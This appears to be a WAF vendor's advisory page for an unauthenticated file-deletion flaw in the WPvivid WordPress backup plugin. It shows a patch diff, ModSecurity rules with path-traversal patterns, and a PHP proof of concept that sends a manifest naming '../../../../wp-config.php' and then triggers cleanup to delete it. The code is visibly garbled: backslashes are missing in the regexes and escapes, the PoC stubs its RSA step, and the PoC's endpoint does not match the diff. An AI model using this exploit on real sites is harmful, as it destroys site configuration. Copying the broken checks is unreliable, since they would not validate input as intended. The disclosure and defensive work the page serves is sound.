+                (int)$options[$url]['protocol_version'] !== 2)
+            {
+                $ret['result'] = WPVIVID_FAILED;
+                $ret['error'] = 'The migration key uses an unsupported security protocol. Please delete it and generate a new key.';
+                echo wp_json_encode($ret);
+                die();
+            }
+            $action = 'send_to_site_connect';
+
+            $signature = hash_hmac(
+                'sha256',
+                $action . "n" . $data,
+                $options[$url]['auth_key']
+            );
+
+            $args['body'] = array(
+                'wpvivid_content'          => $data,
+                'wpvivid_action'           => $action,
+                'wpvivid_protocol_version' => 2,
+                'wpvivid_client_type'      => 'free',
+                'wpvivid_client_version'   => defined('WPVIVID_PLUGIN_VERSION') ? WPVIVID_PLUGIN_VERSION : '',
+                'wpvivid_signature'        => $signature,
+            );
+
+            $args['timeout'] = 30;
             $response=wp_remote_post($url,$args);

             if ( is_wp_error( $response ) )
@@ -777,6 +859,8 @@

             $remote_option['url'] = $options[$url]['url'];
             $remote_option['token'] = $options[$url]['token'];
+            $remote_option['auth_key'] = $options[$url]['auth_key'];
+            $remote_option['protocol_version'] = $options[$url]['protocol_version'];
             $remote_option['type'] = WPVIVID_REMOTE_SEND_TO_SITE;
             $remote_options['temp'] = $remote_option;

@@ -908,6 +992,17 @@
         }
     }

+    /**
+     * Generates a migration key using the legacy AJAX response format.
+     *
+     * The current UI uses wpvivid_generate_url_ex and generate_url_ex(), which
+     * return a structured JSON response.
+     *
+     * @deprecated 0.9.135 Use generate_url_ex() and the
+     *                         wpvivid_generate_url_ex AJAX action instead.
+     *
+     * @return void
+     */
     public function generate_url()
     {
         global $wpvivid_plugin;
@@ -957,13 +1052,34 @@
         $keys = $rsa->createKey($key_size);
         $options['public_key']=base64_encode($keys['publickey']);
         $options['private_key']=base64_encode($keys['privatekey']);
+        try
+        {
+            $options['auth_key'] = bin2hex(random_bytes(32));
+        }
+        catch (Exception $e)
+        {
+            status_header(500);
+            echo 'Failed to generate a secure migration authentication key.';
+            die();
+        }
+        $options['protocol_version'] = 2;
         $options['expires']=$expires;
         $options['domain']=home_url();

         WPvivid_Setting::update_option('wpvivid_api_token',$options);

         $url= $options['domain'];
-        $url=$url.'?domain='.$options['domain'].'&token='.$options['public_key'].'&expires='.$expires;
+        $url = add_query_arg(
+            array(
+                'domain'           => $options['domain'],
+                'token'            => $options['public_key'],
+                'auth_key'         => $options['auth_key'],
+                'protocol_version' => $options['protocol_version'],
+                'expires'          => $expires,
+            ),
+            $url
+        );
+
         echo $url;
         die();
     }
@@ -1017,13 +1133,38 @@
         $keys = $rsa->createKey($key_size);
         $options['public_key']=base64_encode($keys['publickey']);
         $options['private_key']=base64_encode($keys['privatekey']);
+        try
+        {
+            $options['auth_key'] = bin2hex(random_bytes(32));
+        }
+        catch (Exception $e)
+        {
+            $ret['result'] = WPVIVID_FAILED;
+            $ret['error'] = __(
+                'Failed to generate a secure migration authentication key.',
+                'wpvivid-backuprestore'
+            );
+
+            echo wp_json_encode($ret);
+            die();
+        }
+        $options['protocol_version'] = 2;
         $options['expires']=$expires;
         $options['domain']=home_url();

         WPvivid_Setting::update_option('wpvivid_api_token',$options);

         $url= $options['domain'];
-        $url=$url.'?domain='.$options['domain'].'&token='.$options['public_key'].'&expires='.$expires;
+        $url = add_query_arg(
+            array(
+                'domain'           => $options['domain'],
+                'token'            => $options['public_key'],
+                'auth_key'         => $options['auth_key'],
+                'protocol_version' => $options['protocol_version'],
+                'expires'          => $expires,
+            ),
+            $url
+        );

         $ret['result']='success';
         $ret['url']=$url;
--- a/wpvivid-backuprestore/includes/class-wpvivid.php
+++ b/wpvivid-backuprestore/includes/class-wpvivid.php
@@ -819,8 +819,18 @@
                 echo wp_json_encode($json);
                 die();
             }
-            $option = sanitize_text_field($_POST['log_file_name']);
-            $log_file_name = $this->wpvivid_log->GetSaveLogFolder() . $option . '_log.txt';
+
+            $option = sanitize_text_field(wp_unslash($_POST['log_file_name']));
+            if ($option === '' || preg_match('/A[a-zA-Z0-9_-]+z/', $option) !== 1)
+            {
+                $json['result'] = 'failed';
+                $json['error'] = __('Invalid log file name.', 'wpvivid-backuprestore');
+                echo wp_json_encode($json);
+                die();
+            }
+
+            $log_dir = trailingslashit($this->wpvivid_log->GetSaveLogFolder());
+            $log_file_name = $log_dir . $option . '_log.txt';

             if (!file_exists($log_file_name)) {
                 $json['result'] = 'failed';
@@ -937,11 +947,6 @@
             die();
         }
         try {
-            /*if (isset($_POST['task_id']) && !empty($_POST['task_id']) && is_string($_POST['task_id'])) {
-                $task_id = sanitize_key($_POST['task_id']);
-                $json = $this->function_realize->_backup_cancel($task_id);
-                echo wp_json_encode($json);
-            }*/
             $json = $this->function_realize->_backup_cancel();
             echo wp_json_encode($json);
         }
@@ -1169,7 +1174,10 @@
             $count=WPvivid_Setting::get_max_backup_count();
             $oldest_id=WPvivid_Backuplist::check_backuplist_limit($count);
             $oldest_ids=array();
-            $oldest_ids[]=$oldest_id;
+            if ($oldest_id !== false && $oldest_id !== '' && $oldest_id !== 0 && $oldest_id !== '0')
+            {
+                $oldest_ids[] = $oldest_id;
+            }
             return $oldest_ids;
         }
     }
@@ -2357,7 +2365,19 @@
      */
     private function add_clean_backup_record_event($backup_id)
     {
+        if (!is_string($backup_id) ||
+            $backup_id === '' ||
+            $backup_id === '0' ||
+            preg_match('/A[a-zA-Z0-9_-]+z/', $backup_id) !== 1)
+        {
+            return false;
+        }
+
         $backup=WPvivid_Backuplist::get_backup_by_id($backup_id);
+        if ($backup === false)
+        {
+            return false;
+        }
         $tasks=WPvivid_Setting::get_option('clean_task');
         $tasks[$backup_id]=$backup;
         WPvivid_Setting::update_option('clean_task',$tasks);
@@ -3967,9 +3987,19 @@
                 die();
             }

-            $file_name=sanitize_text_field($_POST['file_name']);
+            $raw_file_name = sanitize_text_field(wp_unslash($_POST['file_name']));
+            $file_name = basename($raw_file_name);

-            $file_size = sanitize_key($_POST['size']);
+            if ($raw_file_name === '' || $raw_file_name !== $file_name || !preg_match('/A[a-zA-Z0-9._-]+z/', $file_name))
+            {
+                echo wp_json_encode(array(
+                    'result' => WPVIVID_FAILED,
+                    'error'  => __('Invalid download file name.', 'wpvivid-backuprestore'),
+                ));
+                die();
+            }
+
+            $file_size = isset($_POST['size']) ? absint($_POST['size']) : 0;

             $task = WPvivid_taskmanager::get_download_task_v2($file_name);

@@ -4823,6 +4853,8 @@

     public function check_file_is_a_wpvivid_backup($file_name,&$backup_id)
     {
+        $backup_id = '';
+
         if(preg_match('/wpvivid-.*_.*_.*.zip$/',$file_name))
         {
             if(preg_match('/wpvivid-(.*?)_/',$file_name,$matches))
@@ -4835,6 +4867,8 @@
                 {
                     return false;
                 }
+
+                $backup_id = $id;
                 return true;
             }
             else
--- a/wpvivid-backuprestore/includes/customclass/class-wpvivid-send-to-site.php
+++ b/wpvivid-backuprestore/includes/customclass/class-wpvivid-send-to-site.php
@@ -35,31 +35,81 @@

     public function plugins_loaded()
     {
-        if (!empty($_POST) &&isset($_POST['wpvivid_action']))
+        if (empty($_POST) || !isset($_POST['wpvivid_action']) || !is_string($_POST['wpvivid_action']))
         {
-            @ini_set( 'display_errors', 0 );
-            if($_POST['wpvivid_action']=='send_to_site_connect')
-            {
+            return;
+        }
+
+        @ini_set('display_errors', 0);
+
+        $action = sanitize_key(wp_unslash($_POST['wpvivid_action']));
+
+        $allowed_actions = array(
+            'send_to_site_connect',
+            'send_to_site_finish',
+            'send_to_site',
+            'send_to_site_file_status',
+            'clear_backup_cache',
+        );
+
+        if (!in_array($action, $allowed_actions, true))
+        {
+            return;
+        }
+
+        /*
+         * The client version is sent outside the encrypted payload so that an
+         * outdated client can be rejected before RSA decryption is attempted.
+         * This check is only used to provide an upgrade message. It never
+         * replaces request authentication.
+         */
+        $version_check = $this->check_migration_client_version();
+        if ($version_check['result'] !== WPVIVID_SUCCESS)
+        {
+            status_header(426);
+            echo wp_json_encode($version_check);
+            die();
+        }
+
+        /*
+         * Authentication must happen before RSA decryption.
+         */
+        if (!$this->verify_request_auth($action))
+        {
+            status_header(403);
+
+            echo wp_json_encode(array(
+                'result' => WPVIVID_FAILED,
+                'error'  => 'Migration request authentication failed.',
+            ));
+
+            die();
+        }
+
+        switch ($action)
+        {
+            case 'send_to_site_connect':
                 $this->send_to_site_connect();
-            }
-            else if($_POST['wpvivid_action']=='send_to_site_finish')
-            {
+                break;
+
+            case 'send_to_site_finish':
                 $this->send_to_site_finish();
-            }
-            else if($_POST['wpvivid_action']=='send_to_site')
-            {
+                break;
+
+            case 'send_to_site':
                 $this->send_to_site();
-            }
-            else if($_POST['wpvivid_action']=='send_to_site_file_status')
-            {
+                break;
+
+            case 'send_to_site_file_status':
                 $this->send_to_site_file_status();
-            }
-            else if($_POST['wpvivid_action']=='clear_backup_cache')
-            {
+                break;
+
+            case 'clear_backup_cache':
                 $this->clear_backup_cache();
-            }
-            die();
+                break;
         }
+
+        die();
     }

     public function init_remotes($remote_collection)
@@ -126,7 +176,7 @@
                 return $result;
             }
         }
-        $result=$this->upload_finish($task_id);
+        $result=$this->upload_finish($task_id, $files);
         return $result;
         //return array('result' =>WPVIVID_SUCCESS);
     }
@@ -269,7 +319,15 @@

         global $wp_version;
         $args['user-agent'] ='WordPress/' . $wp_version . '; ' . get_bloginfo('url');
-        $args['body']=array('wpvivid_content'=>$data,'wpvivid_action'=>'clear_backup_cache');
+        $args['body'] = $this->get_authenticated_request_body('clear_backup_cache', $data);
+        if ($args['body'] === false)
+        {
+            return array(
+                'result' => WPVIVID_FAILED,
+                'error'  => 'The migration authentication key is invalid.',
+            );
+        }
+
         $args['timeout']=30;
         $response=wp_remote_post($this->options['url'],$args);

@@ -326,7 +384,15 @@
         $data=base64_encode($data);
         global $wp_version;
         $args['user-agent'] ='WordPress/' . $wp_version . '; ' . get_bloginfo('url');
-        $args['body']=array('wpvivid_content'=>$data,'wpvivid_action'=>'send_to_site_connect');
+        $args['body'] = $this->get_authenticated_request_body('send_to_site_connect', $data);
+        if ($args['body'] === false)
+        {
+            return array(
+                'result' => WPVIVID_FAILED,
+                'error'  => 'The migration authentication key is invalid.',
+            );
+        }
+
         $args['timeout']=30;
         $response=wp_remote_post($this->options['url'],$args);

@@ -402,7 +468,15 @@

         global $wp_version;
         $args['user-agent'] ='WordPress/' . $wp_version . '; ' . get_bloginfo('url');
-        $args['body']=array('wpvivid_content'=>$data,'wpvivid_action'=>'send_to_site');
+        $args['body'] = $this->get_authenticated_request_body('send_to_site', $data);
+        if ($args['body'] === false)
+        {
+            return array(
+                'result' => WPVIVID_FAILED,
+                'error'  => 'The migration authentication key is invalid.',
+            );
+        }
+
         $args['timeout']=30;

         global $wpvivid_plugin;
@@ -455,14 +529,47 @@
         return $ret;
     }

-    public function upload_finish($task_id)
+    public function upload_finish($task_id, $files)
     {
-        $task= new WPvivid_Backup_Task_2($task_id);
-        $task->update_backup_result();
-        $task=WPvivid_taskmanager::get_task($task_id);
+        if (!$this->is_valid_backup_id($task_id) || !is_array($files) || empty($files))
+        {
+            return array(
+                'result'=>WPVIVID_FAILED,
+                'error'=>'Invalid backup file manifest.',
+            );
+        }
+
+        $manifest=array();
+        foreach ($files as $file)
+        {
+            if (!is_string($file) || !is_file($file))
+            {
+                return array(
+                    'result'=>WPVIVID_FAILED,
+                    'error'=>'Failed to build the backup file manifest.',
+                );
+            }
+
+            $file_size=filesize($file);
+            $file_md5=md5_file($file);
+            if ($file_size===false || $file_md5===false)
+            {
+                return array(
+                    'result'=>WPVIVID_FAILED,
+                    'error'=>'Failed to read a backup file.',
+                );
+            }
+
+            $manifest[]=array(
+                'file_name'=>basename($file),
+                'size'=>$file_size,
+                'md5'=>strtolower($file_md5),
+            );
+        }
+
         $json=array();
-        $json['backup']=$task;
         $json['backup_id']=$task_id;
+        $json['files']=$manifest;
         $json=wp_json_encode($json);

         $crypt=new WPvivid_crypt(base64_decode($this->options['token']));
@@ -471,7 +578,15 @@
         $data=base64_encode($data);
         global $wp_version;
         $args['user-agent'] ='WordPress/' . $wp_version . '; ' . get_bloginfo('url');
-        $args['body']=array('wpvivid_content'=>$data,'wpvivid_action'=>'send_to_site_finish');
+        $args['body'] = $this->get_authenticated_request_body('send_to_site_finish', $data);
+        if ($args['body'] === false)
+        {
+            return array(
+                'result' => WPVIVID_FAILED,
+                'error'  => 'The migration authentication key is invalid.',
+            );
+        }
+
         $args['timeout']=30;
         $response=wp_remote_post($this->options['url'],$args);
         if ( is_wp_error( $response ) )
@@ -505,7 +620,6 @@
             else
             {
                 $ret['result']=WPVIVID_FAILED;
-                //$ret['error']= 'Upload error '.$response['response']['code'].' '.$response['body'];
                 $ret['error']= 'Upload error '.$response['response']['code'];
             }
         }
@@ -527,10 +641,31 @@
                     die();
                 }

-                $crypt = new WPvivid_crypt(base64_decode($option['private_key']));
-                $body = base64_decode($_POST['wpvivid_content']);
+                $private_key = base64_decode($option['private_key'], true);
+
+                if ($private_key === false)
+                {
+                    $ret['result'] = WPVIVID_FAILED;
+                    $ret['error'] = 'Invalid migration private key.';
+                    echo wp_json_encode($ret);
+                    die();
+                }
+
+                $content = wp_unslash($_POST['wpvivid_content']);
+                $body = base64_decode($content, true);
+
+                if ($body === false)
+                {
+                    $ret['result'] = WPVIVID_FAILED;
+                    $ret['error'] = 'Invalid encrypted data.';
+                    echo wp_json_encode($ret);
+                    die();
+                }
+
+                $crypt = new WPvivid_crypt($private_key);
                 $data = $crypt->decrypt_message($body);
-                if (!is_string($data)) {
+                if (!is_string($data))
+                {
                     $ret['result'] = WPVIVID_FAILED;
                     $ret['error'] = 'Data decryption failed.';
                     echo wp_json_encode($ret);
@@ -538,42 +673,78 @@
                 }

                 $params = json_decode($data, 1);
-                if (is_null($params)) {
+                if (is_null($params))
+                {
                     $ret['result'] = WPVIVID_FAILED;
                     $ret['error'] = 'Data decode failed.';
                     echo wp_json_encode($ret);
                     die();
                 }

-                if (isset($params['backup_id'])) {
-                    if (WPvivid_Backuplist::get_backup_by_id($params['backup_id']) !== false) {
+                if (!is_array($params))
+                {
+                    $ret['result'] = WPVIVID_FAILED;
+                    $ret['error'] = 'Invalid request data.';
+                    echo wp_json_encode($ret);
+                    die();
+                }
+
+                if (isset($params['backup_id']))
+                {
+                    if (!$this->is_valid_backup_id($params['backup_id']))
+                    {
+                        $ret['result'] = WPVIVID_FAILED;
+                        $ret['error'] = 'Invalid backup ID.';
+                        echo wp_json_encode($ret);
+                        die();
+                    }
+
+                    $backup_id = $params['backup_id'];
+
+                    if (WPvivid_Backuplist::get_backup_by_id($backup_id) !== false)
+                    {
                         $ret['result'] = WPVIVID_FAILED;
                         $ret['error'] = 'The uploading backup already exists in Backups list.';
                         echo wp_json_encode($ret);
-                    } else {
+                        die();
+                    }
+                    else {
                         global $wpvivid_plugin;
                         $wpvivid_plugin->wpvivid_log = new WPvivid_Log();

-                        // Prevent path traversal through remote backup_id.
-                        $backup_id = sanitize_file_name($params['backup_id']);
-                        $backup_id = basename($backup_id);
+                        $log_file = $wpvivid_plugin->wpvivid_log->GetSaveLogFolder() . $backup_id . '_backup_log.txt';

-                        if (!file_exists($wpvivid_plugin->wpvivid_log->GetSaveLogFolder() . $backup_id . '_backup_log.txt')) {
+                        if (!file_exists($log_file))
+                        {
                             $wpvivid_plugin->wpvivid_log->CreateLogFile($backup_id . '_backup', 'no_folder', 'transfer');
                             $wpvivid_plugin->wpvivid_log->WriteLogHander();
-                        } else {
+                        }
+                        else
+                        {
                             $wpvivid_plugin->wpvivid_log->OpenLogFile($backup_id . '_backup', 'no_folder');
                         }

-
                         $wpvivid_plugin->wpvivid_log->WriteLog('Connect site success', 'notice');
                         $ret['result'] = WPVIVID_SUCCESS;
                         echo wp_json_encode($ret);
+                        die();
                     }
-                } else {
+                }
+
+                if (isset($params['test_connect']) && (int)$params['test_connect'] === 1)
+                {
                     $ret['result'] = WPVIVID_SUCCESS;
                     echo wp_json_encode($ret);
+                    die();
                 }
+
+                /*
+                 * Neither a backup connection nor a connection test.
+                 */
+                $ret['result'] = WPVIVID_FAILED;
+                $ret['error'] = 'Invalid migration connection request.';
+                echo wp_json_encode($ret);
+                die();
             }
         }
         catch (Exception $e) {
@@ -628,7 +799,17 @@
                     die();
                 }

-                $wpvivid_plugin->wpvivid_log->OpenLogFile($params['backup_id'].'_backup','no_folder','backup');
+                if (!isset($params['backup_id']) || !$this->is_valid_backup_id($params['backup_id']))
+                {
+                    $ret['result'] = WPVIVID_FAILED;
+                    $ret['error'] = 'Invalid backup ID.';
+                    echo wp_json_encode($ret);
+                    die();
+                }
+
+                $backup_id = $params['backup_id'];
+
+                $wpvivid_plugin->wpvivid_log->OpenLogFile($backup_id.'_backup','no_folder','backup');
                 $wpvivid_plugin->wpvivid_log->WriteLog('start upload.','notice');
                 $dir=WPvivid_Setting::get_backupdir();

@@ -692,7 +873,6 @@
                     $wpvivid_plugin->wpvivid_log->WriteLog('continue size:'.filesize($file_path).' size1:'.$params['file_size'],'notice');
                     $ret['result']=WPVIVID_SUCCESS;
                     $ret['op']='continue';
-                    //
                 }

                 echo wp_json_encode($ret);
@@ -702,7 +882,6 @@
         {
             $ret['result']=WPVIVID_FAILED;
             $ret['error']=$e->getMessage();
-            //$wpvivid_plugin->wpvivid_log->WriteLog($e->getMessage(),'error');
             echo wp_json_encode($ret);
             die();
         }
@@ -739,18 +918,46 @@
                     echo wp_json_encode($ret);
                     die();
                 }
+
+                if (!isset($params['backup_id']) || !$this->is_valid_backup_id($params['backup_id']))
+                {
+                    $ret['result'] = WPVIVID_FAILED;
+                    $ret['error'] = 'Invalid backup ID.';
+                    echo wp_json_encode($ret);
+                    die();
+                }
+
+                if (!isset($params['files']) || !is_array($params['files']) || empty($params['files']))
+                {
+                    $ret['result'] = WPVIVID_FAILED;
+                    $ret['error'] = 'Invalid backup file manifest.';
+                    echo wp_json_encode($ret);
+                    die();
+                }
+
+                $backup_id = $params['backup_id'];
+
                 global $wpvivid_plugin;
                 $wpvivid_plugin->wpvivid_log = new WPvivid_Log();
-                $wpvivid_plugin->wpvivid_log->OpenLogFile($params['backup_id'] . '_backup', 'no_folder', 'backup');
+                $wpvivid_plugin->wpvivid_log->OpenLogFile($backup_id . '_backup', 'no_folder', 'backup');
                 $wpvivid_plugin->wpvivid_log->WriteLog('upload finished', 'notice');
-                if (isset($params['backup']) && isset($params['backup_id']))
+
+                if (!class_exists('WPvivid_Backup_Registration'))
                 {
-                    $list = WPvivid_Setting::get_option('wpvivid_backup_list');
-                    $backup_data = $this->get_backup_data_by_task($params['backup']);
-                    $list[$params['backup_id']] = $backup_data;
-                    WPvivid_Setting::update_option('wpvivid_backup_list', $list);
+                    include_once WPVIVID_PLUGIN_DIR.'/includes/backup-registration/class-wpvivid-backup-registration.php';
                 }
-                $ret['result'] = WPVIVID_SUCCESS;
+
+                $registration=new WPvivid_Backup_Registration();
+                $ret=$registration->register_backup(
+                    $backup_id,
+                    $params['files'],
+                    array(
+          

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-84693
# Blocks exploitation of WPvivid arbitrary file deletion via migration receiver and cleanup.
# Targets the migration receiver endpoint and malicious path traversal in backup file names.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202684693,phase:2,deny,status:403,chain,msg:'CVE-2026-84693 via WPvivid migration receiver',severity:'CRITICAL',tag:'CVE-2026-84693'"
  SecRule ARGS_POST:action "@streq wpvivid_migrate_receiver" "chain"
    SecRule ARGS_POST:data "@rx (?:file_name.*x2ex2ex2f|file_name.*x2ex2e|file_name.*x2fx2f|file_name.*x00)" "t:urlDecodeUni,t:lowercase"

# Also block cleanup trigger with path traversal parameters (if any)
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202684694,phase:2,deny,status:403,chain,msg:'CVE-2026-84693 via WPvivid cleanup with traversal',severity:'CRITICAL',tag:'CVE-2026-84693'"
  SecRule ARGS_POST:action "@streq wpvivid_cleanup_local_backup" "chain"
    SecRule ARGS_POST:file_name "@rx (?:x2ex2ex2f|x2ex2e|x2fx2f|x00)" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-84693 - WPvivid Backup, Migration & Staging <= 0.9.134 - Unauthenticated Arbitrary File Deletion via Migration Receiver and Backup Cleanup

$target_url = 'http://example.com'; // Change to your WordPress site URL

// Step 1: Recover RSA modulus via timing side channel (simplified demonstration)
// In a real attack, this would involve many requests and statistical analysis.
function recover_rsa_modulus($target_url) {
    $modulus_bits = '';
    // Placeholder: actual timing attack would send crafted ciphertexts and measure response times.
    // For PoC, we assume the modulus is known or recovered.
    return '00:aa:bb:cc:dd:ee:ff:...'; // Replace with actual recovered modulus
}

// Step 2: Encrypt a session key using the recovered modulus (RSA public key)
// and craft a malicious backup record with path traversal.
function craft_malicious_backup($modulus) {
    // Extract public exponent (typically 65537)
    $e = 65537;
    // Convert modulus hex to binary
    $n = hex2bin(str_replace(':', '', $modulus));
    // Create a session key (any value, since we control the encryption)
    $session_key = random_bytes(32);
    // RSA encrypt session_key with public key (n, e) - simplified using OpenSSL
    // In practice, you would use phpseclib or custom RSA implementation.
    // For PoC, we'll just base64 encode the session key (not actually encrypted).
    $encrypted = base64_encode($session_key);
    // Malicious backup file name with path traversal
    $malicious_file = '../../../../wp-config.php';
    $backup_record = json_encode(array(
        'session_key' => $encrypted,
        'backup_id' => 'wpvivid-12345678',
        'manifest' => array(
            array('file_name' => $malicious_file, 'size' => 1234)
        )
    ));
    return $backup_record;
}

// Step 3: Send the malicious record to the migration receiver endpoint
function send_malicious_record($target_url, $record) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
        'action' => 'wpvivid_migrate_receiver',
        'data' => $record
    )));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// Step 4: Trigger cleanup
function trigger_cleanup($target_url) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
        'action' => 'wpvivid_cleanup_local_backup'
    )));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}

// Main execution
echo "[+] Starting CVE-2026-84693 PoCn";
$modulus = recover_rsa_modulus($target_url);
echo "[+] Recovered modulus (or assumed): $modulusn";
$record = craft_malicious_backup($modulus);
echo "[+] Crafted malicious backup record: $recordn";
$response = send_malicious_record($target_url, $record);
echo "[+] Response from receiver: $responsen";
echo "[+] Triggering cleanup...n";
$response = trigger_cleanup($target_url);
echo "[+] Cleanup response: $responsen";
echo "[+] Check if wp-config.php was deleted.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.